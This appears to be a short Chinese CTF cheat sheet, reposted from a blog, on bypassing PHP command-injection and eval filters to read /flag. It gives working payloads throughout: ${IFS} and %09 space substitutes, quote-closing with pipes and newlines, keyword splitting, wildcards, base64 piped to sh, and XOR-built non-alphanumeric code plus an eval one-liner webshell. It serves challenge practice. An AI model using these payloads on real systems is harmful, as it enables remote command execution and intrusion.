$_GET[str]=str_replace(" ","",$_GET[str]);
${IFS}
但不能写作$IFS
$IFS$9
%09
system("echo \"$_GET[str]\";");
执行命令加上反引号`` cat /flag\
"双引号闭合+|分割(或 &后台
&&判读
均要转码)
$_GET[str]=str_replace(array( "`", "$", "(", ")", ";","&","|","<"),"",$_GET[str]);
111"%0Acat %2fflag "
$str=str_replace("flag","",$_GET[str]);
flflagag
preg_match("/flag/i",$str)
反斜杠换行 ca\t fla\g
模糊匹配 cat /fl*
cat /fla?
base64 echo Y2F0IC9mbGFn|base64 -d|sh
(Y2F0IC9mbGFn = cat /flag ,不能用)
变量拼接 $a=%2ffl;$b=ag;cat $a$b;
if(preg_match("/[A-Za-z0-9_]+/",$code))
{die("NO.");}
@eval($code);
构造getFlag
的异或字符串code=$_="%40%3e%2b%3b%2c%3c%3a"^"%27%5b%5f%7d%40%5d%5d";$_();
注入一句话${_GET}[_](${_GET}[__])
如果下划线_
被禁用,使用大于等于%7F
的字符
原文:https://www.cnblogs.com/kalbertlee/p/12287073.html